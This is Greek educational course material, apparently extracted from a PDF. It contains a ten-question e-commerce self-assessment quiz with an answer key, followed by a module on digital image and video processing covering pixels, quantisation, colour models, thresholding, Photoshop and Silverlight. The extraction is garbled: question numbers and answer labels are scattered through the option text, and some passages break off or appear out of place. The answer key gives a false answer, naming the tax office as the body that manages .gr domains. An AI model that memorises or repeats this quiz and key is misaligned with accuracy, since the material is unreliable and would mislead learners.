Ποιο είδος ηλεκτρονικού εμπορίου αναφέρεται σε συναλλαγές

ανάμεσα σε επιχειρήσεις που διεξάγονται ηλεκτρονικά κυρίως μέσω του ∆ιαδικτύου. ΑΠΑΝΤΗΣΗ 1

ΕΡΩΤΗΣΗ

2

Α

Επιχείρησης προς Επιχείρηση

Β

Επιχείρησης προς Καταναλωτή

Γ

Καταναλωτή προς Επιχείρηση

Δ

Καταναλωτή προς Καταναλωτή

Οι ηλεκτρονικές αγορές, δηλαδή τα ηλεκτρονικά επιχειρηματικά

μοντέλα ηλεκτρονικού εμπορίου όπου έχουν τη συνάθροιση πολλών προμηθευτών και πολλών αγοραστών, εμφανίστηκαν στο χώρο του ηλεκτρονικού εμπορίου στα μέσα της δεκαετίας του ..... ΑΠΑΝΤΗΣΗ 2

Α

1960.

Β

1970.

Γ

1980.

Δ ΕΡΩΤΗΣΗ

3

ΑΠΑΝΤΗΣΗ 3

1990.

Η πρώτη φάση της εξέλιξης του B2B ηλεκτρονικού εμπορίου ήταν ... Α

το Διεπιχειρησιακό Ηλεκτρονικό Εμπόριο.

Β

η Ηλεκτρονική Ανταλλαγή Δεδομένων.

Γ

το Διεπιχειρησιακό Ηλεκτρονικό Εμπόριο χωρίς Ηλεκτρονικούς Διαμεσολαβητές.

ΕΡΩΤΗΣΗ

4

ΑΠΑΝΤΗΣΗ 4

ΕΡΩΤΗΣΗ

5

Οι κυριότερες εφαρμογές ηλεκτρονικού εμπορίου Β2Β είναι ... Α

e- Procurement.

Β

e- Auctions.

Γ

e- Marketplaces.

Δ

όλα τα παραπάνω.

Ποιος είναι ο αρμόδιος οργανισμός για την νομική διαχείριση ονομάτων

τύπου .gr. ΑΠΑΝΤΗΣΗ 5

ΕΡΩΤΗΣΗ

6

Α

Ο πάροχος υπηρεσιών που φιλοξενεί το όνομα της εταιρείας.

Β

Η εφορία.

Γ

Η εθνική επιτροπή τηλεπικοινωνιών και ταχυδρομείων.

Δ

Ο πάροχος υπηρεσιών που κατασκευάζει την ιστοσελίδα.

Η INTERNIC είναι ο αρμόδιος οργανισμός για την νομική διαχείριση

ονομάτων τύπου... ΑΠΑΝΤΗΣΗ 6

ΕΡΩΤΗΣΗ

7

Α

.gr

Β

.com

Γ

www

Δ

.edu

Αν μια εταιρεία θέλει να καταχωρήσει στην ιστοσελίδα της το όνομα

company αλλά μετά από έλεγχο προκύπτει οτί υπάρχει ιστοσελίδα company.gr τι ενέργεια μπορεί να κάνει για να καταχωρύσει την ιστοσελίδα της με τον όνομα company. ΑΠΑΝΤΗΣΗ 7

Α

Να αλλάξει την κατάληξη σε π.χ. company.com ή σε συνδυασμό

καταλήξεων company.com.gr

ΕΡΩΤΗΣΗ

8

Β

Πρέπει να δώσει άλλο όνομα στην ιστοσελίδα.

Γ

Τίποτα από τα παραπάνω.

Ποιο από τα παρακάτω εργαλεία πλοήγησης σε μία ιστοσελίδα

υπάρχουν στο κείμενο της σελίδας και παραμπέμπουν σε ένα άλλο σημείο του δικτυακού τόπου. ΑΠΑΝΤΗΣΗ 8

Α

Sitemap.

ΕΡΩΤΗΣΗ

9

Β

Image maps.

Γ

Μπάρες ή γραμμές πλοήγησης.

Δ

Μηχανή αναζήτησης για την συγκεκριμένη ιστοσελίδα.

Ο χρήστης έχει την δυνατότητα να μεταφερθεί στο καλάθι αγορών του

είτε από το προφίλ του πατώντας το σχετικό κουμπί είτε άμεσα από οποιαδήποτε σελίδα βρίσκεται πατώντας δύο φορές από το μενού την επιλογή «Καλάθι αγορών». ΑΠΑΝΤΗΣΗ 9

ΕΡΩΤΗΣΗ

10

Α

Σωστό.

Β

Λάθος.

Ένα πλεονέκτημα της μαζικής εξατομίκευσης είναι η αύξηση των

γνώσεων για τους επισκέπτες λόγω του ότι οι πιστοί πελάτες δίνουν ευκολότερα τα στοιχεία για τις καταναλωτικές τους συνήθειες. ΑΠΑΝΤΗΣΗ 10

Α

Σωστό.

Β

Λάθος.

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 3 1:

Απάντηση 1. Α

2:

Απάντηση 2. Δ

3:

Απάντηση 3. Β

4:

Απάντηση 4. Δ

5:

Απάντηση 5. Β

6:

Απάντηση 6. Β

7:

Απάντηση 7. Α

8:

Απάντηση 8. Β

9:

Απάντηση 9. Α

10:

Απάντηση 10. Α

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 4: Επεξεργασία εικόνας και βίντεο Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίαση αντικειμένων που αφορούν την ψηφιακή επεξεργασίας της εικόνας και του βίντεου. ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού αυτής της εκπαιδευτικής ενότητας θα έχετε αποκτήσει γνώσεις και δεξιότητες που αναφέρονται:

Περιεκτικότητα πληροφορίας Χρήση πολυμεσικού υλικού Photoshop Χρωματικά συστήματα Το Βίντεο ως Σήµα Έγχρωµη Επεξεργασία Εικόνας Επεξεργασία Βίντεο Το βίντεο AVI Επεξεργασία αρχείων AVI µε το WinAPI Image Processing Library ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ binary image, color image, multimedia, Photoshop, Silver Light, frames, pixels. Εκπαιδευτική Υποενότητα 4.1 Ψηφιακή Επεξεργασία Εικόνας Η μετάβαση από τον αναλογικό στο ψηφιακό κόσμο συνεπάγεται τη μετατροπή των αναλογικών σημάτων σε ψηφιακά. Έτσι, το αναλογικό σήμα μιας εικόνας μεταφέρεται στον ψηφιακό κόσμο με τη μορφή διακεκριμένου σήματος, που έχει τη μορφή ψηφιακών πινάκων. Μια ψηφιακή εικόνα μπορεί να είναι: •

δυαδική (binary image).

•

μονοχρωματική με αποχρώσεις του γκρι (gray level ή gray scale image).

•

έγχρωμη (color image).

Το αισθητήριο μετατρέπει το φως σε ηλεκτρικό ρεύμα στους άξονες (x,y), το οποίο δειγματοληπτείται, κβαντίζεται και ψηφιοποιείται μέσω ενός μετατροπέα A/D. Η ψηφιακή εικόνα (gray scale), η οποία παράγεται, συμβολίζεται με ένα δισδιάστατο πίνακα Μ × Ν pixels. Μια ψηφιακή εικόνα αποχρώσεων του γκρι, διαστάσεων Μ x Ν , παριστάνεται από έναν δισδιάστατο πίνακα ακεραίων αριθμών: I(i,j) με i = 1…Μ και j = 1…Ν

(1.1)

όπου 0 ≤ I(i,j) ≤ L - 1 . Το L ισούται συνήθως με μια δύναμη του 2, δηλαδή L = 2k , με συνηθέστερη τιμή το k = 8 , που αντιστοιχεί σε 256 αποχρώσεις του γκρι. Η τιμή I(i,j) αντιπροσωπεύει τη φωτεινότητα του εικονοστοιχείου (pixel) (i,j).

Η απλούστερη μορφή μιας εικόνας είναι η δυαδική μορφή. Μια δυαδική εικόνα έχει μόνο δύο στάθμες φωτεινότητας, που συνήθως είναι το μαύρο και το άσπρο (L=2 και k=1). Το μαύρο αντιστοιχεί στην τιμή 0 και το άσπρο στην τιμή 1. Μια δυαδική εικόνα καταλαμβάνει μικρότερη μνήμη και η επεξεργασία της απαιτεί μικρότερο υπολογιστικό κόστος. Σε δυαδική μορφή μπορούν να απεικονισθούν σημαντικές πληροφορίες όπως είναι το εμβαδόν και η θέση των αντικειμένων, η μορφή αντικειμένων κ.α. Σημειώνεται ότι πάρα πολλές εφαρμογές της ΨΕΕ, όπως η οπτική αναγνώριση χαρακτήρων (OCR: Optical Character Recognition), η αναγνώριση υπογραφής (signature recognition), η αναγνώριση αποτυπωμάτων (fingerprint recognition), γίνονται συνήθως με τη χρήση των δυαδικών εικόνων. Οι έγχρωμες ψηφιακές εικόνες αποτελούν το μέσο για την απεικόνιση του πραγματικού κόσμου. Μια έγχρωμη ψηφιακή εικόνα αποτελείται από τρεις gray scale εικόνες. Δηλαδή το χρώμα του κάθε εικονοστοιχείου έχει τρεις συνιστώσες που αντιστοιχούν στις αποχρώσεις των αντίστοιχων εικονοστοιχείων των τριών εικόνων. Μια ψηφιακή έγχρωμη εικόνα διαστάσεων Μ × Ν μπορεί να παρασταθεί ως: Ic(i,j) με i = 1…Μ και j = 1…Ν (1.2) όπου 0 ≤ Ic(i,j) ≤ L - 1 , για κάθε c = 1, 2, 3. Έτσι το χρώμα του κάθε pixel (i,j) προκύπτει από το συνδυασμό τριών χρωματικών συνιστωσών: Color(i,j) = [ I1(i,j) , I2(i,j) , I3(i,j) ]

(1.3)

Αν τα x, y και f(x,y) µιας εικόνας είναι πεπερασµένες διακριτές τιµές τότε είναι µια ψηφιακή εικόνα. Είναι φανερό λοιπόν ότι µια ψηφιακή εικόνα αποτελείται από ένα πεπερασµένο πλήθος στοιχείων, το καθένα µε συγκεκριµένες συντεταγµένες και τιµή. Τα στοιχεία αυτά ονοµάζονται pixels (Από τις λέξεις “Picture elements”) ή εικονοστοιχεία. Με µια αντίστοιχη θεώρηση µε αυτή που έγινε για τις εικόνες µπορούν να οριστούν και τα βίντεο ως σήµατα τριών διαστάσεων. Απλά προστίθεται στη συνάρτηση µιας εικόνας f(x,y) µια ακόµα παράµετρος, ο χρόνος t. Ας θεωρήσουµε λοιπόν ότι έχουµε το βίντεο F(x,y,t). Η τιµή της F είναι η φωτεινότητα του εικονοστοιχείου µε χωρικές συντεταγµένες (x,y) στο καρέ t του βίντεο. Τα x και y παίρνουν τιµές από 0 έως το πλάτος και ύψος αντίστοιχα του κάθε καρέ του βίντεο, ενώ ο χρόνος t παίρνει διακριτές τιµές από 0, που αποτελεί το πρώτο καρέ, έως Τ που αποτελεί το τελικό. Αν η παράµετρος t είναι σταθερή και ίση µε t0, αναφερόµαστε σε ένα συγκεκριµένο καρέ. Έτσι το σήµα F(x,y,t0) µπορούµε να θεωρήσουµε ότι αποτελεί ένα δισδιάστατο σήµα G0(x,y). Αυτό αναπαριστά το συγκεκριµένο καρέ µε αριθµό t0, δηλαδή µία στατική εικόνα. Έτσι µπορούµε να εφαρµόσουµε πάνω στο G0 κάθε γνωστό αλγόριθµο από την επεξεργασία

εικόνας. Αυτή είναι γενικά από µαθηµατική πλευρά η διαδικασία µε την οποία προχωράµε στην ψηφιακή επεξεργασία του βίντεο βασιζόµενοι σε τεχνικές της ψηφιακής επεξεργασίας εικόνας. Η δειγµατοληψία ή αλλιώς ανάλυση µετριέται µε τον αριθµό των εικονοστοιχείων που χρησιµοποιούνται σε κάθε µία από τις διαστάσεις της εικόνας. Για παράδειγµα µια συνήθης τιµή ανάλυσης εικόνας είναι 256x256, που σηµαίνει ότι έχουµε έναν τετράγωνο πίνακα µε 256 στοιχεία σε κάθε διάσταση. Ας θεωρήσουµε ότι έχουµε µια αρχική εικόνα µε ανάλυση 256x256.(Εικόνα)

Αν µειώσουµε την ανάλυση της εικόνας κρατώντας σταθερό το µέγεθος µε το οποίο την απεικονίζουµε είναι εύκολο να διαπιστώσουµε τα αποτελέσµατα που έχει η µειωµένη δειγµατοληψία. Ήδη από την µειωµένη ανάλυση 128x128 γίνεται εµφανές το φαινόµενο της σκακιέρας, γίνονται εµφανή δηλαδή τα εικονοστοιχεία από την οποία αποτελείται η εικόνα. Σε ακόµα µικρότερες αναλύσεις η εικόνα έχει πλέον παραµορφωθεί. Η κβάντιση αποσκοπεί στην αναπαράσταση των δειγµάτων που έχουν προκύψει από την δειγµατοληψία, που µπορούν να έχουν οποιαδήποτε τιµή, µε ένα πεπερασµένο πλήθος τιµών. Ο πιο συνήθης κβαντιστής είναι ο οµοιόµορφος κβαντιστής. ∆ηλαδή χωρίζουµε το πεδίο τιµών των εικονοστοιχείων σε έναν καθορισµένο αριθµό από ισοαπέχουσες στάθµες Στη συνέχεια κάθε εικονοστοιχείο ανάλογα µε τη τιµή του κατατάσσεται και στην αντίστοιχη στάθµη.

Αυτός ο κβαντιστής είναι ο πιο απλός. Έχει τα ίδια χαρακτηριστικά για κάθε εικόνα και δεν λαµβάνει υπ’ όψιν του καθόλου το σφάλµα κβάντισης που υπεισέρχεται. Γενικά ανάλογα µε τις απαιτήσεις της εφαρµογή µπορεί να επιλεγεί κάποιος άλλος κβαντιστής µε διαφορετικά χαρακτηριστικά όπως για παράδειγµα την ελαχιστοποίηση του µέσου τετραγωνικού σφάλµατος κβάντισης που υπεισέρχεται στην εικόνα (Κβαντιστής Loyd-Max). Αναλυτικές πληροφορίες για σχεδίαση κβαντιστών µπορούν να βρεθούν στα [1] και [2].

Το πλήθος των επιπέδων κβάντισης ονοµάζεται και βάθος χρώµατος µιας εικόνας. Αντιπροσωπεύει τον αριθµό των επιπέδων του γκρι αν είναι ασπρόµαυρη ή τον αριθµό των χρωµάτων της αν είναι έγχρωµη. Μετριέται µε τον αριθµό των bits που χρησιµοποιούνται

για την αναπαράσταση των χρωµατικών επιπέδων. Για παράδειγµα συναντάµε εικόνες µε βάθος χρώµατος 7-bit ή 8-bit όπου αντίστοιχα έχουµε 128 και 256 χρωµατικές στάθµες.

Για παράδειγμα, στο χρωματικό σύστημα RGB, το κάθε χρώμα συντίθεται από τα χρώματα κόκκινο (Red), πράσινο (Green) και μπλε (Blue). Στο Σχήμα παρουσιάζεται μια RGB εικόνα και η διάσπασή της στα τρία επιμέρους χρώματα. Το k αποδίδει το πλήθος των αποχρώσεων και καλείται βάθος χρώματος (color depth). Μεγαλύτερο βάθος σημαίνει περισσότερες διαθέσιμες αποχρώσεις. Ο αριθμός των bits μιας εικόνας είναι b=M x N x k. Προφανώς μια έγχρωμη εικόνα απαιτεί τριπλάσιο αριθμό bits από μια gray scale εικόνα.

Η ευκρίνεια μιας εικόνας καθορίζει το πόσο καλά μπορούμε να βλέπουμε τις λεπτομέρειές της. Ισούται με το πλήθος των pixels ανά μονάδα επιφανείας, και συνήθως μετριέται σε pixels / in2 ή διαφορετικά σε d.p.i ( dots per inch ). Είναι φανερό ότι η ευκρίνεια εξαρτάται τόσο από τις διαστάσεις, όσο και από το πλήθος των αποχρώσεων της κάθε εικόνας. Αν για παράδειγμα κρατήσουμε σταθερό το βάθος χρώματος και μεταβάλλουμε (μειώνουμε) τις διαστάσεις μιας εικόνας, τότε η εικόνα θα εμφανίσει το φαινόμενο του σκακιού (checkboard). Αν από την άλλη πλευρά κρατήσουμε σταθερές τις διαστάσεις και μειώσουμε το βάθος χρώματος, τότε θα εμφανιστούν πάλι οπτικά ομοιόμορφες χρωματικές περιοχές, που όμως η ευκρίνειά τους θα καθορίζεται από το k και τη συγγένεια των τοπικών αποχρώσεων. Αυτό φαίνεται στο Σχήμα

Το εκλαμβανόμενο χρώμα κάποιου αντικειμένου από το ανθρώπινο μάτι καθορίζεται ουσιαστικά από τη φύση του φωτός που ανακλάται από αυτό. Το ορατό φως είναι συγκροτημένο από ένα σχετικά περιορισμένο εύρος συχνοτήτων μέσα στο σύνολο του ηλεκτρομαγνητικού φάσματος. Ένα σώμα που αντανακλά με τον ίδιο τρόπο (προσδίδει ίσες ποσότητες φωτός) όλα τα μήκη κύματος του ορατού φάσματος εμφανίζεται λευκό.

Ωστόσο, ένα σώμα που «ευνοεί» ένα περιορισμένο εύρος από το οπτικό φάσμα, τότε αυτό εμφανίζεται να έχει κάποια χρωματική απόχρωση. Για παράδειγμα, τα αντικείμενα που εμφανίζονται με πράσινο χρώμα αντανακλούν το φως εκείνο που το μήκος κύματος

κυμαίνεται κυρίως στο φάσμα των 500 με 570 nm (10-9m), ενώ απορροφούν το μεγαλύτερο μέρος της ενέργειας του υπόλοιπου φάσματος

Αυτό έχει ως αποτέλεσµα µια οµαλή

κίνηση να φαίνεται στο βίντεο σπασµωδική.

Αντίστοιχα τιµές µεγαλύτερες από τα 30 FPS δεν γίνονται αντιληπτές από το ανθρώπινο µάτι. ∆ηλαδή όχι µόνο δεν ανεβάζουν την ποιότητα του βίντεο αλλά αντίθετα µεταφέρουν και µεγάλη πλεονάζουσα πληροφορία που δεν γίνεται αντιληπτή. Για παράδειγµα στο σύστηµα τηλεόρασης NTSC έχουµε 30 FPS ενώ στο PAL έχουµε 25 FPS.

Μέχρι τώρα έχει γίνει αναφορά µόνο σε ασπρόµαυρες εικόνες. Σε αυτήν την παράγραφο θα παρουσιαστεί ο τρόπος αποθήκευσης και επεξεργασίας έγχρωµης εικόνας και των καρέ του βίντεο γενικότερα. Θα γίνει αναφορά στα χρωµατικά µοντέλα RGB, ΥΙQ και HSV που είναι από τα πλέον χρησιµοποιούµενα στην επεξεργασία εικόνας καθώς και στον τρόπο µετατροπής µιας RGB εικόνας σε ασπρόµαυρη εικόνα έντασης.

Στην συνέχεια θα παρουσιάσουµε τα χρωµατικά µοντέλα RGB, YIQ και HSV τα οποία είναι από τα πλέον συχνά χρησιµοποιούµενα στην επεξεργασία εικόνας. Ένα από τα πιο βασικά χρωµατικά µοντέλα είναι το RGB. Τα τρία γράµµατα του ονόµατός του αντιπροσωπεύουν τα τρία βασικά του χρώµατα: Red-Κόκκινο, Green- Πράσινο και Blue-Μπλε. Ορίζει ένα τρισδιάστατο Καρτεσιανό σύστηµα συντεταγµένων όπου κάθε άξονας αντιπροσωπεύει και ένα από τα βασικά του χρώµατα (Σχήµα 3).

Τα χρώµατα όπως αναπαριστούνται στο σχήµα 3 είναι «κανονικοποιηµένα» στο συνεχές διάστηµα [0,1]. Πρακτικά δεν µπορούµε να έχουµε πραγµατικούς αριθµούς για τις χρωµατικές συνιστώσες οπότε κάνουµε οµοιόµορφη κβάντιση όπως και στην περίπτωση των ασπρόµαυρων εικόνων. Εδώ όµως έχουµε τρία χρωµατικά κανάλια αντί για ένα. Έτσι αν έχουµε µια RGB εικόνα 24bit (που είναι και η πιο συνήθης περίπτωση έγχρωµων εικόνων) σηµαίνει ότι χρησιµοποιούµε 8bit ή 256 στάθµες κβάντισης για το κάθε χρωµατικό κανάλι. Συνολικά δηλαδή µπορούµε να αναπαραστήσουµε 2563 ≈16,7εκατ. διαφορετικά χρώµατα.

Το YIQ χρησιµοποιήθηκε πρωταρχικά στις έγχρωµες τηλεοράσεις προκειµένου να εξασφαλιστεί η προς τα πίσω συµβατότητα µε τις ασπρόµαυρες. Έτσι η πρώτη συνιστώσα

του Υ (Luminance) είναι αυτή που χρησιµοποιείται από τις ασπρόµαυρες τηλεοράσεις και αποτελεί τη φωτεινότητα του κάθε pixel. ∆εν περιέχει καθόλου χρωµατική πληροφορία. Αυτή είναι µοιρασµένη στα άλλα δυο κανάλια το Ι (Inphase) και Q (Quadrature). Σχεδιάστηκε για να εκµεταλλεύεται την µεγαλύτερη ευαισθησία του ανθρώπινου µατιού στις αλλαγές της φωτεινότητας σε σχέση µε τις αλλαγές χρώµατος και κορεσµού.

Στο HSV µοντέλο τα τρία κανάλια αντιστοιχούν στις παραµέτρους Hue, Saturation και Value. Η πρώτη παράµετρος εκφράζει το χρώµα ενώ οι άλλες δύο συνδέονται µε την προσθήκη και αφαίρεση άσπρου και µαύρου αντίστοιχα. Το µοντέλο αυτό γεωµετρικά αναπαρίσταται µε µία εξάπλευρη πυραµίδα. Κάθε µια από τις έξι κορυφές της βάσης αντιστοιχεί ένα από τα χρώµατα κόκκινο, κίτρινο, πράσινο κυανό, µπλε και µοβ. Ο προσδιορισµός του Hue γίνεται µε τον υπολογισµό της γωνίας ανάµεσα στην ακτίνα του κόκκινου, που αντιστοιχεί στις 0 µοίρες, και το χρώµα που επιθυµούµε. Το Value εκφράζει την απόσταση του από την βάση της πυραµίδας και το Saturation την απόσταση από τον κεντρικό άξονα της πυραµίδας.

Το χρωµατικό µοντέλο RGB δεν προσφέρει άµεσα τη δυνατότητα να γνωρίζουµε την ένταση της φωτεινότητας ενός εικονοστοιχείου. Μια χρήσιµη διαδικασία λοιπόν, είναι η µετατροπή µιας έγχρωµης RGB εικόνας σε ασπρόµαυρη εικόνα έντασης (Grayscale - Αποχρώσεων του γκρι). Αυτό γίνεται δηµιουργώντας από την εικόνα των τριών καναλιών R, G και B του χρωµατικού µοντέλου RGB µια νέα, ενός µόνο καναλιού Ι (Intensity - Ένταση), που αντιστοιχεί στην φωτεινότητα του εικονοστοιχείου. Η µετατροπή γίνεται παίρνοντας τον µέσο όρο των τιµών των τριών καναλιών: Η διαδικασία αυτή προφανώς δεν είναι δυνατό να αντιστραφεί. Όλη η χρωµατική πληροφορία της εικόνας χάνεται µετά την µετατροπή.

Oι τεχνικές της ψηφιακής επεξεργασίας εικόνας χωρίζονται, ανάλογα µε το πεδίο στο οποίο εφαρµόζονται, σε δυο βασικές κατηγορίες. Έτσι υπάρχουν αυτές που εφαρµόζονται στο χωρικό πεδίο, δηλαδή απευθείας στα εικονοστοιχεία της εικόνας, και αυτές που εφαρµόζονται στο πεδίο των συχνοτήτων (Το πεδίο των συχνοτήτων µας δίνει τις «εναλλαγές» στις τιµές της φωτεινότητας στα εικονοστοιχεία µιας εικόνας αντί για τις ίδιες τις τιµές τους).

Η κατωφλίωση επιτρέπει την παραγωγή µιας δίτιµης εικόνας (Bitonal image),

που

αποτελείται µόνο από τιµές φωτεινότητας 0 και 255, από µια ασπρόµαυρη εικόνα. Αυτό

γίνεται µε τη χρήση του “κατωφλίου” δηλαδή µιας τιµής που επιλέγεται µεταξύ του 0 και 255. Όσα εικονοστοιχεία έχουν τιµή κάτω από το κατώφλι µηδενίζονται. Αντίστοιχα όσα έχουν πάνω από αυτό λαµβάνουν ως νέα τιµή το 255. Η τεχνική αυτή εφαρµόζεται και σε έγχρωµες εικόνες. Σε αυτήν την περίπτωση το παραγόµενο αποτέλεσµα δεν είναι µια δίτιµη εικόνα

Το κατώφλι εφαρµόζεται σε κάθε κανάλι ξεχωριστά. Το αποτέλεσµα είναι να υπάρχουν οκτώ διαφορετικά δυνατά χρώµατα για τα εικονοστοιχεία της νέας εικόνας: Παράδειγµα κατωφλίωσης στην ασπρόµαυρη εικόνα 'flowers_Gray' και στην έγχρωµη εικόνα 'flowers_RGB' µε τιµή κατωφλίου 124. Οι αρχικές εικόνες φαίνονται στο σχήµα.

Οι επιτρεπτές πράξεις είναι: 1. Πρόσθεση. Προσθέτονται οι δυο τελεστέοι. 2. Αφαίρεση. Αφαιρείται η εικόνα εισόδου από τον δεύτερο τελεστέο (ή το αντίστροφο). 3. Πολλαπλασιασµός. Πολλαπλασιάζονται οι δυο τελεστέοι. 4. Πολλαπλασιασµός µε κανονικοποίηση. Πολλαπλασιάζονται οι δυο τελεστέοι και γίνεται κανονικοποίηση του αποτελέσµατος. 5. Τετράγωνο (Scare). Στην περίπτωση αυτή δεν υπάρχει δεύτερος τελεστέος. Απλά η τιµή του κάθε εικονοστοιχείου της εικόνας εισόδου υψώνεται στο τετράγωνο.

Περιεκτικότητα πληροφορίας Θα πρέπει κανείς να έχει πάντοτε κατά νου πως μέσα στα 480 χιλιάδες εικονοστοιχεία (που προκύπτουν από μία οθόνη ανάλυσης 800 Χ 600), πρέπει ένα αρκετά μεγάλο ποσοστό από την περιοχή της οθόνης να περικλείει χρήσιμη πληροφορία για τον επισκέπτη. Όσο απλή κι αν φαίνεται αυτή η παρατήρηση, εύκολα μπορεί να αποδειχθεί ότι συχνά η πληροφορία αποτελεί το 20% ή ακόμα και μικρότερο ποσοστό της οθόνης που εμφανίζεται στο χρήστη. Για παράδειγμα, όταν το 20% - 30% της οθόνης καλύπτεται ήδη από τα γραφικά του λειτουργικού συστήματος και του φυλλομετρητή ιστοσελίδων (browser), οι επιλογές πλοήγησης καταλαμβάνουν το 30%, και το κενό μαζί με τα γραφικά και τις εικαστικές απεικονίσεις καλύπτουν και αυτά ένα 20% της συνολικής χωρητικότητας της οθόνης, ο χώρος

που τελικά αφιερώνεται στη χρήσιμη πληροφορία για το χρήστη είναι ελάχιστος.

Χρήση πολυμεσικού υλικού (multimedia) Μολονότι η χρήση πολυμεσικού υλικού σε μια σελίδα καθιστά την παρουσίαση πιο εντυπωσιακή και φιλική προς το χρήστη, η αναπόφευκτη χρονική καθυστέρηση συνήθως κάνει τους σχεδιαστές πολύ προσεκτικούς κατά την ενσωμάτωσή του. Οι εικόνες καλό είναι να μην καταλαμβάνουν μεγάλο χώρο στην οθόνη και να έχουν το μέγεθος που ακριβώς απαιτείται για την παρουσίασή τους. Η συρρίκνωση της εικόνας, που πολλές φορές λανθασμένα χρησιμοποιείται από τους σχεδιαστές, δεν φέρνει τα αναμενόμενα αποτελέσματα. Αντ' αυτού, όταν θέλουμε να φέρουμε μια εικόνα σε συγκεκριμένες διαστάσεις χρησιμοποιούμε τις μεθόδους της εστίασης και της κοπής, οι οποίες μειώνουν και το μέγεθος της εικόνας. Αφού γίνει αυτό, αποθηκεύουμε την τελική εικόνα σε συμπιεσμένη

μορφή (συνήθως JPG ή GIF). .

Η κινούμενη εικόνα και το video, παρόλο που επιβαρύνουν το website, είναι αρκετές φορές σκόπιμα. Παρακάτω αναφέρονται ενδεικτικά κάποιες περιπτώσεις που η εφαρμογή τέτοιων μέσων είναι χρήσιμη: • Απεικόνιση τρισδιάστατων αντικειμένων • Απεικόνιση αλλαγής καταστάσεων σε αντικείμενα • Εντυπωσιασμός και εστίαση του ενδιαφέροντος του χρήστη • Προβολή διαφημιστικών spots • Προώθηση τηλεοπτικών γεγονότων μικρής χρονικής διάρκειας

Photoshop

Το πρόγραμμα Photoshop της εταιρείας Adobe είναι ένα πολύ δυνατό και δημοφιλές πρόγραμμα επεξεργασίας εικόνας, με το οποίο μπορούμε να επεξεργαστούμε φωτογραφικές εικόνες που έχουμε στον σκληρό δίσκο του υπολογιστή μας και περιέχει βασικά δύο ομάδες εργαλείων, μια για ζωγραφική και μια για επεξεργασία εικόνας. Είναι δημοφιλές γιατί λειτουργεί σε πολλά λειτουργικά συστήματα, όπως το Mac, τα Windows, αλλά και επειδή το Adobe Photoshop έχει το πιο διαισθητικό περιβάλλον χρήστη, το πληρέστερο set από εργαλεία και πολλά βοηθητικά βιβλία.

Όταν επεξεργαζόμαστε μια εικόνα στο Photoshop, μπορούμε να την οξύνουμε (sharpen) για να διορθώσουμε την εστίασή της, να θολώσουμε το φόντο της, να αλλάξουμε τη φωτεινότητα και την αντίθεσή της ή και να αντικαταστήσουμε ένα χρώμα μ’ ένα άλλο. Μπορούμε ακόμη να αποσπάσουμε ένα κομμάτι από μια εικόνα και να το αντιγράψουμε, να του αλλάξουμε μέγεθος και γενικά να κάνουμε πάνω του ό,τι επεξεργασία θέλουμε.

Silver Light

Το Silverlight είναι ένα plug-in για πλατφόρμες και browsers που επιτρέπει χαρακτηριστικά, όπως κινούμενα σχέδια, γραφικά και φορέα ήχου-βίντεο που χαρακτηρίζουν πλούσιες εφαρμογές Vιαδικτύου. Ουσιαστικά είναι το αντίστοιχο Flash της Microsoft μιας και ο λόγος κυκλοφορίας του είναι για να “χτυπήσει” το Flash. Η έκδοση 2.0 του Silverlight κυκλοφόρησε τον Οκτωβρίου 2008 και προσφέρει επιπλέον δυνατότητες διαδραστικότητας και στήριξης. NET γλώσσες και εργαλεία ανάπτυξης. Είναι συμβατό με πολλά web browser προϊόντα που χρησιμοποιούνται για τα Microsoft Windows και Mac, λειτουργικά συστήματα κινητών συσκευών, αρχίζοντας με Windows Mobile.

Ο χαρακτηρισμός του φωτός είναι βασικός στην κατανόηση του χρώματος. Αν το φως είναι άχρωμο, τότε το μόνο χαρακτηριστικό του γνώρισμα είναι η ένταση (intensity). Ένα παράδειγμα αχρωματικής όψης είναι αυτή της ασπρόμαυρης τηλεόρασης όπου έχουμε απουσία χρώματος με εναλλαγή μόνο της ποσότητας φωτός. Με αυτόν τον τρόπο δημιουργούνται διαφορετικά επίπεδα του γκρι.

Συνεπώς, ο όρος επίπεδο του γκρι αναφέρεται στη βαθμωτή μέτρηση της έντασης που διακυμαίνεται από το μαύρο στο γκρίζο και καταλήγει στο λευκό. Οι τρεις βασικές ποσότητες που χρησιμοποιούνται για να περιγράψουν την ποιότητα της πηγής του χρωματικού φωτός είναι η ακτινοβολία (radiance) , η φωτεινότητα (luminance) και η λαμπρότητα (brightness).

Χρωματικά συστήματα

1.

Η ακτινοβολία είναι το τελικό ποσό ενέργειας που εκπέμπεται από την πηγή του

φωτός, και μετριέται συνήθως σε Watt.

2.

Η φωτεινότητα δίνει μια μέτρηση του ποσού της ενέργειας που λαμβάνει ένας

παρατηρητής και μετριέται σε lumens.

3.

Η λαμπρότητα είναι ένα υποκειμενικό μέγεθος το οποίο πρακτικά είναι αδύνατο να

υπολογισθεί. Ενσωματώνει την αχρωματική έννοια της έντασης του φωτός (intensity).

4.

Εξαιτίας της δομής του ανθρώπινου ματιού, όλα τα χρώματα θεωρούνται

συνδυασμοί των τριών βασικών χρωμάτων (primary colors): του κόκκινου (Red), του πράσινου (Green) και του μπλε (Blue). Για λόγους τυποποίησης καθορίστηκαν οι ακόλουθες τιμές: Κόκκινο = 700 nm / Πράσινο = 546,1 nm / Μπλε = 435,8 nm.

5.

Τα βασικά χρώματα μπορούν να αναμιχθούν ώστε να παραχθούν τα δευτερεύοντα

χρώματα (secondary colors). Αυτά είναι τα: ματζέντα (κόκκινο και μπλε), κυανό (πράσινο και μπλε), κίτρινο (κόκκινο και πράσινο). Ο συνδυασμός των τριών βασικών χρωμάτων ή ενός δευτερεύοντος με το αντίθετο βασικό, παράγουν το λευκό χρώμα αν αναμιχθούν με συγκεκριμένες εντάσεις φωτός

6.

Τα χαρακτηριστικά με τα οποία γίνεται ο διαχωρισμός μεταξύ των χρωμάτων είναι η

λαμπρότητα (brightness), η απόχρωση (hue) και η χρωματική καθαρότητα ή ποσότητα χρώματος (saturation).

